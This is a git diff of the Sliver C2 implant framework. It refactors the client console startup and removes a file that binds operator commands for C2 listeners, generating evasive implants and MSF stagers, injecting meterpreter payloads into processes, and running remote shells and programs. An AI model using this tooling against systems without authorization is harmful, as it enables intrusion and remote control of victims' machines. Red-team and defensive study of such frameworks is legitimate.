diff --git a/client/cli/cli.go b/client/cli/cli.go
index e482bde740..834df5cad2 100644
--- a/client/cli/cli.go
+++ b/client/cli/cli.go
@@ -25,7 +25,9 @@ import (
"path"
"github.com/bishopfox/sliver/client/assets"
+ "github.com/bishopfox/sliver/client/command"
"github.com/bishopfox/sliver/client/console"
+ "github.com/bishopfox/sliver/client/transport"
"github.com/bishopfox/sliver/client/version"
"github.com/spf13/cobra"
@@ -69,13 +71,35 @@ var rootCmd = &cobra.Command{
defer logFile.Close()
os.Args = os.Args[:1] // Stops grumble from complaining
- err := console.StartClientConsole()
+ err := StartClientConsole()
if err != nil {
fmt.Printf("[!] %s\n", err)
}
},
}
+// StartClientConsole - Start the client console
+func StartClientConsole() error {
+ configs := assets.GetConfigs()
+ if len(configs) == 0 {
+ fmt.Printf("No config files found at %s or -import\n", assets.GetConfigDir())
+ return nil
+ }
+ config := selectConfig()
+ if config == nil {
+ return nil
+ }
+
+ fmt.Printf("Connecting to %s:%d ...\n", config.LHost, config.LPort)
+ rpc, ln, err := transport.MTLSConnect(config)
+ if err != nil {
+ fmt.Printf("Connection to server failed %v", err)
+ return nil
+ }
+ defer ln.Close()
+ return console.Start(rpc, command.BindCommands, func(*console.SliverConsoleClient) {}, false)
+}
+
// Execute - Execute root command
func Execute() {
if err := rootCmd.Execute(); err != nil {
diff --git a/client/console/console-cfg.go b/client/cli/config.go
similarity index 98%
rename from client/console/console-cfg.go
rename to client/cli/config.go
index 561ad9d998..ef4c5b8be4 100644
--- a/client/console/console-cfg.go
+++ b/client/cli/config.go
@@ -1,4 +1,4 @@
-package console
+package cli
/*
Sliver Implant Framework
diff --git a/client/command/bind-commands.go b/client/command/bind-commands.go
deleted file mode 100644
index 7e6d23e9e7..0000000000
--- a/client/command/bind-commands.go
+++ /dev/null
@@ -1,2001 +0,0 @@
-package command
-
-/*
- Sliver Implant Framework
- Copyright (C) 2019 Bishop Fox
-
- This program is free software: you can redistribute it and/or modify
- it under the terms of the GNU General Public License as published by
- the Free Software Foundation, either version 3 of the License, or
- (at your option) any later version.
-
- This program is distributed in the hope that it will be useful,
- but WITHOUT ANY WARRANTY; without even the implied warranty of
- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
- GNU General Public License for more details.
-
- You should have received a copy of the GNU General Public License
- along with this program. If not, see .
-
- ---
- This file contains all of the code that binds a given string/flags/etc. to a
- command implementation function.
-
- Guidelines when adding a command:
-
- * Try to reuse the same short/long flags for the same paramenter,
- e.g. "timeout" flags should always be -t and --timeout when possible.
- Try to avoid creating flags that conflict with others even if you're
- not using the flag, e.g. avoid using -t even if your command doesn't
- have a --timeout.
-
- * Add a long-form help template to `client/help`
-
-*/
-
-import (
- "fmt"
-
- consts "github.com/bishopfox/sliver/client/constants"
- "github.com/bishopfox/sliver/client/help"
- "github.com/bishopfox/sliver/client/licenses"
- "github.com/bishopfox/sliver/protobuf/rpcpb"
-
- "github.com/desertbit/grumble"
-)
-
-const (
- defaultMTLSLPort = 8888
- defaultWGLPort = 53
- defaultWGNPort = 8888
- defaultWGKeyExPort = 1337
- defaultHTTPLPort = 80
- defaultHTTPSLPort = 443
- defaultDNSLPort = 53
- defaultTCPPivotPort = 9898
-
- defaultReconnect = 60
- defaultPoll = 1
- defaultMaxErrors = 1000
-
- defaultTimeout = 60
-)
-
-// BindCommands - Bind commands to a App
-func BindCommands(app *grumble.App, rpc rpcpb.SliverRPCClient) {
-
- app.SetPrintHelp(helpCmd) // Responsible for display long-form help templates, etc.
-
- app.AddCommand(&grumble.Command{
- Name: consts.UpdateStr,
- Help: "Check for updates",
- LongHelp: help.GetHelpFor([]string{consts.UpdateStr}),
- Flags: func(f *grumble.Flags) {
- f.Bool("P", "prereleases", false, "include pre-released (unstable) versions")
- f.String("p", "proxy", "", "specify a proxy url (e.g. http://localhost:8080)")
- f.String("s", "save", "", "save downloaded files to specific directory (default user home dir)")
- f.Bool("I", "insecure", false, "skip tls certificate validation")
-
- f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
- },
- Run: func(ctx *grumble.Context) error {
- fmt.Println()
- updates(ctx, rpc)
- fmt.Println()
- return nil
- },
- HelpGroup: consts.GenericHelpGroup,
- })
-
- app.AddCommand(&grumble.Command{
- Name: consts.VersionStr,
- Help: "Display version information",
- LongHelp: help.GetHelpFor([]string{consts.VersionStr}),
- Flags: func(f *grumble.Flags) {
- f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
- },
- Run: func(ctx *grumble.Context) error {
- fmt.Println()
- verboseVersions(ctx, rpc)
- fmt.Println()
- return nil
- },
- HelpGroup: consts.GenericHelpGroup,
- })
-
- // [ Jobs ] -----------------------------------------------------------------
- app.AddCommand(&grumble.Command{
- Name: consts.JobsStr,
- Help: "Job control",
- LongHelp: help.GetHelpFor([]string{consts.JobsStr}),
- Flags: func(f *grumble.Flags) {
- f.Int("k", "kill", -1, "kill a background job")
- f.Bool("K", "kill-all", false, "kill all jobs")
-
- f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
- },
- Run: func(ctx *grumble.Context) error {
- fmt.Println()
- jobs(ctx, rpc)
- fmt.Println()
- return nil
- },
- HelpGroup: consts.GenericHelpGroup,
- })
-
- app.AddCommand(&grumble.Command{
- Name: consts.MtlsStr,
- Help: "Start an mTLS listener",
- LongHelp: help.GetHelpFor([]string{consts.MtlsStr}),
- Flags: func(f *grumble.Flags) {
- f.String("s", "server", "", "interface to bind server to")
- f.Int("l", "lport", defaultMTLSLPort, "tcp listen port")
-
- f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
- f.Bool("p", "persistent", false, "make persistent across restarts")
- },
- Run: func(ctx *grumble.Context) error {
- fmt.Println()
- startMTLSListener(ctx, rpc)
- fmt.Println()
- return nil
- },
- HelpGroup: consts.GenericHelpGroup,
- })
-
- app.AddCommand(&grumble.Command{
- Name: consts.WGStr,
- Help: "Start a WireGuard listener",
- LongHelp: help.GetHelpFor([]string{consts.WGStr}),
- Flags: func(f *grumble.Flags) {
- f.Int("l", "lport", defaultWGLPort, "udp listen port")
- f.Int("n", "nport", defaultWGNPort, "virtual tun interface listen port")
- f.Int("x", "key-port", defaultWGKeyExPort, "virtual tun inteface key exchange port")
- f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
- f.Bool("p", "persistent", false, "make persistent across restarts")
- },
- Run: func(ctx *grumble.Context) error {
- fmt.Println()
- startWGListener(ctx, rpc)
- fmt.Println()
- return nil
- },
- HelpGroup: consts.GenericHelpGroup,
- })
-
- app.AddCommand(&grumble.Command{
- Name: consts.DnsStr,
- Help: "Start a DNS listener",
- LongHelp: help.GetHelpFor([]string{consts.DnsStr}),
- Flags: func(f *grumble.Flags) {
- f.String("d", "domains", "", "parent domain(s) to use for DNS c2")
- f.Bool("c", "no-canaries", false, "disable dns canary detection")
- f.Int("l", "lport", defaultDNSLPort, "udp listen port")
-
- f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
- f.Bool("p", "persistent", false, "make persistent across restarts")
- },
- Run: func(ctx *grumble.Context) error {
- fmt.Println()
- startDNSListener(ctx, rpc)
- fmt.Println()
- return nil
- },
- HelpGroup: consts.GenericHelpGroup,
- })
-
- app.AddCommand(&grumble.Command{
- Name: consts.HttpStr,
- Help: "Start an HTTP listener",
- LongHelp: help.GetHelpFor([]string{consts.HttpStr}),
- Flags: func(f *grumble.Flags) {
- f.String("d", "domain", "", "limit responses to specific domain")
- f.String("w", "website", "", "website name (see websites cmd)")
- f.Int("l", "lport", defaultHTTPLPort, "tcp listen port")
-
- f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
- f.Bool("p", "persistent", false, "make persistent across restarts")
- },
- Run: func(ctx *grumble.Context) error {
- fmt.Println()
- startHTTPListener(ctx, rpc)
- fmt.Println()
- return nil
- },
- HelpGroup: consts.GenericHelpGroup,
- })
-
- app.AddCommand(&grumble.Command{
- Name: consts.HttpsStr,
- Help: "Start an HTTPS listener",
- LongHelp: help.GetHelpFor([]string{consts.HttpsStr}),
- Flags: func(f *grumble.Flags) {
- f.String("d", "domain", "", "limit responses to specific domain")
- f.String("w", "website", "", "website name (see websites cmd)")
- f.Int("l", "lport", defaultHTTPSLPort, "tcp listen port")
-
- f.String("c", "cert", "", "PEM encoded certificate file")
- f.String("k", "key", "", "PEM encoded private key file")
-
- f.Bool("e", "lets-encrypt", false, "attempt to provision a let's encrypt certificate")
-
- f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
- f.Bool("p", "persistent", false, "make persistent across restarts")
- },
- Run: func(ctx *grumble.Context) error {
- fmt.Println()
- startHTTPSListener(ctx, rpc)
- fmt.Println()
- return nil
- },
- HelpGroup: consts.GenericHelpGroup,
- })
-
- app.AddCommand(&grumble.Command{
- Name: consts.PlayersStr,
- Help: "List operators",
- LongHelp: help.GetHelpFor([]string{consts.PlayersStr}),
- Flags: func(f *grumble.Flags) {
- f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
- },
- Run: func(ctx *grumble.Context) error {
- fmt.Println()
- operatorsCmd(ctx, rpc)
- fmt.Println()
- return nil
- },
- HelpGroup: consts.MultiplayerHelpGroup,
- })
-
- // [ Commands ] --------------------------------------------------------------
-
- app.AddCommand(&grumble.Command{
- Name: consts.SessionsStr,
- Help: "Session management",
- LongHelp: help.GetHelpFor([]string{consts.SessionsStr}),
- Flags: func(f *grumble.Flags) {
- f.String("i", "interact", "", "interact with a sliver")
- f.String("k", "kill", "", "Kill the designated session")
- f.Bool("K", "kill-all", false, "Kill all the sessions")
- f.Bool("C", "clean", false, "Clean out any sessions marked as [DEAD]")
-
- f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
- },
- Run: func(ctx *grumble.Context) error {
- fmt.Println()
- sessions(ctx, rpc)
- fmt.Println()
- return nil
- },
- HelpGroup: consts.GenericHelpGroup,
- })
-
- app.AddCommand(&grumble.Command{
- Name: consts.BackgroundStr,
- Help: "Background an active session",
- LongHelp: help.GetHelpFor([]string{consts.BackgroundStr}),
- Flags: func(f *grumble.Flags) {
- f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
- },
- Run: func(ctx *grumble.Context) error {
- fmt.Println()
- background(ctx, rpc)
- fmt.Println()
- return nil
- },
- HelpGroup: consts.GenericHelpGroup,
- })
-
- app.AddCommand(&grumble.Command{
- Name: consts.KillStr,
- Help: "Kill a session",
- LongHelp: help.GetHelpFor([]string{consts.KillStr}),
- Run: func(ctx *grumble.Context) error {
- fmt.Println()
- kill(ctx, rpc)
- fmt.Println()
- return nil
- },
- Flags: func(f *grumble.Flags) {
- f.Bool("f", "force", false, "Force kill, does not clean up")
-
- f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
- },
- HelpGroup: consts.SliverHelpGroup,
- })
-
- app.AddCommand(&grumble.Command{
- Name: consts.InfoStr,
- Help: "Get info about session",
- LongHelp: help.GetHelpFor([]string{consts.InfoStr}),
- Flags: func(f *grumble.Flags) {
- f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
- },
- Args: func(a *grumble.Args) {
- a.String("session", "session ID", grumble.Default(""))
- },
- Run: func(ctx *grumble.Context) error {
- fmt.Println()
- info(ctx, rpc)
- fmt.Println()
- return nil
- },
- HelpGroup: consts.SliverHelpGroup,
- })
-
- app.AddCommand(&grumble.Command{
- Name: consts.UseStr,
- Help: "Switch the active session",
- LongHelp: help.GetHelpFor([]string{consts.UseStr}),
- Flags: func(f *grumble.Flags) {
- f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
- },
- Args: func(a *grumble.Args) {
- a.String("session", "session ID")
- },
- Run: func(ctx *grumble.Context) error {
- fmt.Println()
- use(ctx, rpc)
- fmt.Println()
- return nil
- },
- HelpGroup: consts.GenericHelpGroup,
- })
-
- app.AddCommand(&grumble.Command{
- Name: consts.ShellStr,
- Help: "Start an interactive shell",
- LongHelp: help.GetHelpFor([]string{consts.ShellStr}),
- Flags: func(f *grumble.Flags) {
- f.Bool("y", "no-pty", false, "disable use of pty on macos/linux")
- f.String("s", "shell-path", "", "path to shell interpreter")
-
- f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
- },
- Run: func(ctx *grumble.Context) error {
- fmt.Println()
- shell(ctx, rpc)
- fmt.Println()
- return nil
- },
- HelpGroup: consts.SliverHelpGroup,
- })
-
- app.AddCommand(&grumble.Command{
- Name: consts.ExecuteStr,
- Help: "Execute a program on the remote system",
- LongHelp: help.GetHelpFor([]string{consts.ExecuteStr}),
- Flags: func(f *grumble.Flags) {
- f.Bool("T", "token", false, "execute command with current token (windows only)")
- f.Bool("s", "silent", false, "don't print the command output")
- f.Bool("X", "loot", false, "save output as loot")
-
- f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
- },
- Args: func(a *grumble.Args) {
- a.String("command", "command to execute")
- a.StringList("arguments", "arguments to the command")
- },
- Run: func(ctx *grumble.Context) error {
- fmt.Println()
- execute(ctx, rpc)
- fmt.Println()
- return nil
- },
- HelpGroup: consts.SliverHelpGroup,
- })
-
- generateCmd := &grumble.Command{
- Name: consts.GenerateStr,
- Help: "Generate an implant binary",
- LongHelp: help.GetHelpFor([]string{consts.GenerateStr}),
- Flags: func(f *grumble.Flags) {
- f.String("o", "os", "windows", "operating system")
- f.String("a", "arch", "amd64", "cpu architecture")
- f.String("N", "name", "", "agent name")
- f.Bool("d", "debug", false, "enable debug features")
- f.Bool("e", "evasion", false, "enable evasion features")
- f.Bool("b", "skip-symbols", false, "skip symbol obfuscation")
-
- f.String("c", "canary", "", "canary domain(s)")
-
- f.String("m", "mtls", "", "mtls connection strings")
- f.String("g", "wg", "", "wg connection strings")
- f.String("H", "http", "", "http(s) connection strings")
- f.String("n", "dns", "", "dns connection strings")
- f.String("p", "named-pipe", "", "named-pipe connection strings")
- f.String("i", "tcp-pivot", "", "tcp-pivot connection strings")
-
- f.Int("X", "key-exchange", defaultWGKeyExPort, "wg key-exchange port")
- f.Int("T", "tcp-comms", defaultWGNPort, "wg c2 comms port")
-
- f.Int("j", "reconnect", defaultReconnect, "attempt to reconnect every n second(s)")
- f.Int("P", "poll", defaultPoll, "attempt to poll every n second(s)")
- f.Int("k", "max-errors", defaultMaxErrors, "max number of connection errors")
-
- f.String("w", "limit-datetime", "", "limit execution to before datetime")
- f.Bool("x", "limit-domainjoined", false, "limit execution to domain joined machines")
- f.String("y", "limit-username", "", "limit execution to specified username")
- f.String("z", "limit-hostname", "", "limit execution to specified hostname")
- f.String("F", "limit-fileexists", "", "limit execution to hosts with this file in the filesystem")
-
- f.String("f", "format", "exe", "Specifies the output formats, valid values are: 'exe', 'shared' (for dynamic libraries), 'service' (see `psexec` for more info) and 'shellcode' (windows only)")
-
- f.String("s", "save", "", "directory/file to the binary to")
-
- f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
- },
- Run: func(ctx *grumble.Context) error {
- fmt.Println()
- generate(ctx, rpc)
- fmt.Println()
- return nil
- },
- HelpGroup: consts.GenericHelpGroup,
- }
- generateCmd.AddCommand(&grumble.Command{
- Name: consts.StagerStr,
- Help: "Generate a implant stager using MSF",
- LongHelp: help.GetHelpFor([]string{consts.StagerStr}),
- Flags: func(f *grumble.Flags) {
- f.String("o", "os", "windows", "operating system")
- f.String("a", "arch", "amd64", "cpu architecture")
- f.String("l", "lhost", "", "Listening host")
- f.Int("p", "lport", 8443, "Listening port")
- f.String("r", "protocol", "tcp", "Staging protocol (tcp/http/https)")
- f.String("f", "format", "raw", "Output format (msfvenom formats, see `help generate stager` for the list)")
- f.String("b", "badchars", "", "bytes to exclude from stage shellcode")
- f.String("s", "save", "", "directory to save the generated stager to")
- f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
- },
- Run: func(ctx *grumble.Context) error {
- fmt.Println()
- generateStager(ctx, rpc)
- fmt.Println()
- return nil
- },
- HelpGroup: consts.GenericHelpGroup,
- })
- generateCmd.AddCommand(&grumble.Command{
- Name: consts.CompilerStr,
- Help: "Get information about the server's compiler",
- LongHelp: help.GetHelpFor([]string{consts.CompilerStr}),
- Flags: func(f *grumble.Flags) {
-
- f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
- },
- Run: func(ctx *grumble.Context) error {
- fmt.Println()
- generateCompilerInfo(ctx, rpc)
- fmt.Println()
- return nil
- },
- HelpGroup: consts.GenericHelpGroup,
- })
- app.AddCommand(generateCmd)
-
- app.AddCommand(&grumble.Command{
- Name: consts.StageListenerStr,
- Help: "Start a stager listener",
- LongHelp: help.GetHelpFor([]string{consts.StageListenerStr}),
- Flags: func(f *grumble.Flags) {
- f.String("p", "profile", "", "Implant profile to link with the listener")
- f.String("u", "url", "", "URL to which the stager will call back to")
- f.String("c", "cert", "", "path to PEM encoded certificate file (HTTPS only)")
- f.String("k", "key", "", "path to PEM encoded private key file (HTTPS only)")
- f.Bool("e", "lets-encrypt", false, "attempt to provision a let's encrypt certificate (HTTPS only)")
- },
- Run: func(ctx *grumble.Context) error {
- fmt.Println()
- stageListener(ctx, rpc)
- fmt.Println()
- return nil
- },
- HelpGroup: consts.GenericHelpGroup,
- })
-
- app.AddCommand(&grumble.Command{
- Name: consts.RegenerateStr,
- Help: "Regenerate an implant",
- LongHelp: help.GetHelpFor([]string{consts.RegenerateStr}),
- Args: func(a *grumble.Args) {
- a.String("implant-name", "name of the implant")
- },
- Flags: func(f *grumble.Flags) {
- f.String("s", "save", "", "directory/file to the binary to")
-
- f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
- },
- Run: func(ctx *grumble.Context) error {
- fmt.Println()
- regenerate(ctx, rpc)
- fmt.Println()
- return nil
- },
- HelpGroup: consts.GenericHelpGroup,
- })
-
- profilesCmd := &grumble.Command{
- Name: consts.ProfilesStr,
- Help: "List existing profiles",
- LongHelp: help.GetHelpFor([]string{consts.ProfilesStr}),
- Flags: func(f *grumble.Flags) {
- f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
- },
- Run: func(ctx *grumble.Context) error {
- fmt.Println()
- profiles(ctx, rpc)
- fmt.Println()
- return nil
- },
- HelpGroup: consts.GenericHelpGroup,
- }
- profilesCmd.AddCommand(&grumble.Command{
- Name: consts.GenerateStr,
- Help: "Generate implant from a profile",
- LongHelp: help.GetHelpFor([]string{consts.ProfilesStr, consts.GenerateStr}),
- Flags: func(f *grumble.Flags) {
- f.String("p", "name", "", "profile name")
- f.String("s", "save", "", "directory/file to the binary to")
-
- f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
- },
- Run: func(ctx *grumble.Context) error {
- fmt.Println()
- profileGenerate(ctx, rpc)
- fmt.Println()
- return nil
- },
- HelpGroup: consts.GenericHelpGroup,
- })
- profilesCmd.AddCommand(&grumble.Command{
- Name: consts.NewStr,
- Help: "Save a new implant profile",
- LongHelp: help.GetHelpFor([]string{consts.ProfilesStr, consts.NewStr}),
- Flags: func(f *grumble.Flags) {
- f.String("o", "os", "windows", "operating system")
- f.String("a", "arch", "amd64", "cpu architecture")
- f.Bool("d", "debug", false, "enable debug features")
- f.Bool("e", "evasion", false, "enable evasion features")
- f.Bool("s", "skip-symbols", false, "skip symbol obfuscation")
-
- f.String("m", "mtls", "", "mtls domain(s)")
- f.String("g", "wg", "", "wg domain(s)")
- f.String("H", "http", "", "http[s] domain(s)")
- f.String("n", "dns", "", "dns domain(s)")
- f.String("p", "named-pipe", "", "named-pipe connection strings")
- f.String("i", "tcp-pivot", "", "tcp-pivot connection strings")
-
- f.Int("X", "key-exchange", defaultWGKeyExPort, "wg key-exchange port")
- f.Int("T", "tcp-comms", defaultWGNPort, "wg c2 comms port")
-
- f.String("c", "canary", "", "canary domain(s)")
-
- f.Int("j", "reconnect", defaultReconnect, "attempt to reconnect every n second(s)")
- f.Int("k", "max-errors", defaultMaxErrors, "max number of connection errors")
- f.Int("P", "poll", defaultPoll, "attempt to poll every n second(s)")
-
- f.String("w", "limit-datetime", "", "limit execution to before datetime")
- f.Bool("x", "limit-domainjoined", false, "limit execution to domain joined machines")
- f.String("y", "limit-username", "", "limit execution to specified username")
- f.String("z", "limit-hostname", "", "limit execution to specified hostname")
- f.String("F", "limit-fileexists", "", "limit execution to hosts with this file in the filesystem")
-
- f.String("f", "format", "exe", "Specifies the output formats, valid values are: 'exe', 'shared' (for dynamic libraries), 'service' (see `psexec` for more info) and 'shellcode' (windows only)")
-
- f.String("N", "profile-name", "", "profile name")
-
- f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
- },
- Run: func(ctx *grumble.Context) error {
- fmt.Println()
- newProfile(ctx, rpc)
- fmt.Println()
- return nil
- },
- HelpGroup: consts.GenericHelpGroup,
- })
- profilesCmd.AddCommand(&grumble.Command{
- Name: consts.RmStr,
- Help: "Remove a profile",
- LongHelp: help.GetHelpFor([]string{consts.ProfilesStr, consts.RmStr}),
- Flags: func(f *grumble.Flags) {
- f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
- },
- Args: func(a *grumble.Args) {
- a.String("profile-name", "name of the profile")
- },
- Run: func(ctx *grumble.Context) error {
- fmt.Println()
- rmProfile(ctx, rpc)
- fmt.Println()
- return nil
- },
- HelpGroup: consts.GenericHelpGroup,
- })
- app.AddCommand(profilesCmd)
-
- implantBuildsCmd := &grumble.Command{
- Name: consts.ImplantBuildsStr,
- Help: "List implant builds",
- LongHelp: help.GetHelpFor([]string{consts.ImplantBuildsStr}),
- Flags: func(f *grumble.Flags) {
- f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
- },
- Run: func(ctx *grumble.Context) error {
- fmt.Println()
- listImplantBuilds(ctx, rpc)
- fmt.Println()
- return nil
- },
- HelpGroup: consts.GenericHelpGroup,
- }
- implantBuildsCmd.AddCommand(&grumble.Command{
- Name: consts.RmStr,
- Help: "Remove implant build",
- LongHelp: help.GetHelpFor([]string{consts.ImplantBuildsStr, consts.RmStr}),
- Flags: func(f *grumble.Flags) {
- f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
- },
- Args: func(a *grumble.Args) {
- a.String("implant-name", "implant name")
- },
- Run: func(ctx *grumble.Context) error {
- fmt.Println()
- rmImplantBuild(ctx, rpc)
- fmt.Println()
- return nil
- },
- HelpGroup: consts.GenericHelpGroup,
- })
- app.AddCommand(implantBuildsCmd)
-
- app.AddCommand(&grumble.Command{
- Name: consts.ListCanariesStr,
- Help: "List previously generated canaries",
- LongHelp: help.GetHelpFor([]string{consts.ListCanariesStr}),
- Flags: func(f *grumble.Flags) {
- f.Bool("b", "burned", false, "show only triggered/burned canaries")
-
- f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
- },
- Run: func(ctx *grumble.Context) error {
- fmt.Println()
- canaries(ctx, rpc)
- fmt.Println()
- return nil
- },
- HelpGroup: consts.GenericHelpGroup,
- })
-
- app.AddCommand(&grumble.Command{
- Name: consts.MsfStr,
- Help: "Execute an MSF payload in the current process",
- LongHelp: help.GetHelpFor([]string{consts.MsfStr}),
- Flags: func(f *grumble.Flags) {
- f.String("m", "payload", "meterpreter_reverse_https", "msf payload")
- f.String("o", "lhost", "", "listen host")
- f.Int("l", "lport", 4444, "listen port")
- f.String("e", "encoder", "", "msf encoder")
- f.Int("i", "iterations", 1, "iterations of the encoder")
-
- f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
- },
- Run: func(ctx *grumble.Context) error {
- fmt.Println()
- msf(ctx, rpc)
- fmt.Println()
- return nil
- },
- HelpGroup: consts.SliverHelpGroup,
- })
-
- app.AddCommand(&grumble.Command{
- Name: consts.MsfInjectStr,
- Help: "Inject an MSF payload into a process",
- LongHelp: help.GetHelpFor([]string{consts.MsfInjectStr}),
- Flags: func(f *grumble.Flags) {
- f.Int("p", "pid", -1, "pid to inject into")
- f.String("m", "payload", "meterpreter_reverse_https", "msf payload")
- f.String("o", "lhost", "", "listen host")
- f.Int("l", "lport", 4444, "listen port")
- f.String("e", "encoder", "", "msf encoder")
- f.Int("i", "iterations", 1, "iterations of the encoder")
-
- f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
- },
- Run: func(ctx *grumble.Context) error {
- fmt.Println()
- msfInject(ctx, rpc)
- fmt.Println()
- return nil
- },
- HelpGroup: consts.SliverHelpGroup,
- })
-
- // [ Session Commands ] ---------------------------------------------
-
- app.AddCommand(&grumble.Command{
- Name: consts.PsStr,
- Help: "List remote processes",
- LongHelp: help.GetHelpFor([]string{consts.PsStr}),
- Flags: func(f *grumble.Flags) {
- f.Int("p", "pid", -1, "filter based on pid")
- f.String("e", "exe", "", "filter based on executable name")
- f.String("o", "owner", "", "filter based on owner")
- f.Bool("c", "print-cmdline", false, "print command line arguments")
-
- f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
- },
- Run: func(ctx *grumble.Context) error {
- fmt.Println()
- ps(ctx, rpc)
- fmt.Println()
- return nil
- },
- HelpGroup: consts.SliverHelpGroup,
- })
-
- app.AddCommand(&grumble.Command{
- Name: consts.PingStr,
- Help: "Send round trip message to implant (does not use ICMP)",
- LongHelp: help.GetHelpFor([]string{consts.PingStr}),
- Flags: func(f *grumble.Flags) {
- f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
- },
- Run: func(ctx *grumble.Context) error {
- fmt.Println()
- ping(ctx, rpc)
- fmt.Println()
- return nil
- },
- HelpGroup: consts.SliverHelpGroup,
- })
-
- app.AddCommand(&grumble.Command{
- Name: consts.GetPIDStr,
- Help: "Get session pid",
- LongHelp: help.GetHelpFor([]string{consts.GetPIDStr}),
- Flags: func(f *grumble.Flags) {
- f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
- },
- Run: func(ctx *grumble.Context) error {
- fmt.Println()
- getPID(ctx, rpc)
- fmt.Println()
- return nil
- },
- HelpGroup: consts.SliverHelpGroup,
- })
-
- app.AddCommand(&grumble.Command{
- Name: consts.GetUIDStr,
- Help: "Get session process UID",
- LongHelp: help.GetHelpFor([]string{consts.GetUIDStr}),
- Flags: func(f *grumble.Flags) {
- f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
- },
- Run: func(ctx *grumble.Context) error {
- fmt.Println()
- getUID(ctx, rpc)
- fmt.Println()
- return nil
- },
- HelpGroup: consts.SliverHelpGroup,
- })
-
- app.AddCommand(&grumble.Command{
- Name: consts.GetGIDStr,
- Help: "Get session process GID",
- LongHelp: help.GetHelpFor([]string{consts.GetGIDStr}),
- Flags: func(f *grumble.Flags) {
- f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
- },
- Run: func(ctx *grumble.Context) error {
- fmt.Println()
- getGID(ctx, rpc)
- fmt.Println()
- return nil
- },
- HelpGroup: consts.SliverHelpGroup,
- })
-
- app.AddCommand(&grumble.Command{
- Name: consts.WhoamiStr,
- Help: "Get session user execution context",
- LongHelp: help.GetHelpFor([]string{consts.WhoamiStr}),
- Flags: func(f *grumble.Flags) {
- f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
- },
- Run: func(ctx *grumble.Context) error {
- fmt.Println()
- whoami(ctx, rpc)
- fmt.Println()
- return nil
- },
- HelpGroup: consts.SliverHelpGroup,
- })
-
- app.AddCommand(&grumble.Command{
- Name: consts.LsStr,
- Help: "List current directory",
- LongHelp: help.GetHelpFor([]string{consts.LsStr}),
- Flags: func(f *grumble.Flags) {
- f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
- },
- Args: func(a *grumble.Args) {
- a.String("path", "path to enumerate", grumble.Default("."))
- },
- Run: func(ctx *grumble.Context) error {
- fmt.Println()
- ls(ctx, rpc)
- fmt.Println()
- return nil
- },
- HelpGroup: consts.SliverHelpGroup,
- })
-
- app.AddCommand(&grumble.Command{
- Name: consts.RmStr,
- Help: "Remove a file or directory",
- LongHelp: help.GetHelpFor([]string{consts.RmStr}),
- Flags: func(f *grumble.Flags) {
- f.Bool("r", "recursive", false, "recursively remove files")
- f.Bool("f", "force", false, "ignore safety and forcefully remove files")
-
- f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
- },
- Args: func(a *grumble.Args) {
- a.String("path", "path to the file to remove")
- },
- Run: func(ctx *grumble.Context) error {
- fmt.Println()
- rm(ctx, rpc)
- fmt.Println()
- return nil
- },
- HelpGroup: consts.SliverHelpGroup,
- })
-
- app.AddCommand(&grumble.Command{
- Name: consts.MkdirStr,
- Help: "Make a directory",
- LongHelp: help.GetHelpFor([]string{consts.MkdirStr}),
- Flags: func(f *grumble.Flags) {
- f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
- },
- Args: func(a *grumble.Args) {
- a.String("path", "path to the directory to create")
- },
- Run: func(ctx *grumble.Context) error {
- fmt.Println()
- mkdir(ctx, rpc)
- fmt.Println()
- return nil
- },
- HelpGroup: consts.SliverHelpGroup,
- })
-
- app.AddCommand(&grumble.Command{
- Name: consts.CdStr,
- Help: "Change directory",
- LongHelp: help.GetHelpFor([]string{consts.CdStr}),
- Flags: func(f *grumble.Flags) {
- f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
- },
- Args: func(a *grumble.Args) {
- a.String("path", "path to the directory", grumble.Default("."))
- },
- Run: func(ctx *grumble.Context) error {
- fmt.Println()
- cd(ctx, rpc)
- fmt.Println()
- return nil
- },
- HelpGroup: consts.SliverHelpGroup,
- })
-
- app.AddCommand(&grumble.Command{
- Name: consts.PwdStr,
- Help: "Print working directory",
- LongHelp: help.GetHelpFor([]string{consts.PwdStr}),
- Flags: func(f *grumble.Flags) {
- f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
- },
- Run: func(ctx *grumble.Context) error {
- fmt.Println()
- pwd(ctx, rpc)
- fmt.Println()
- return nil
- },
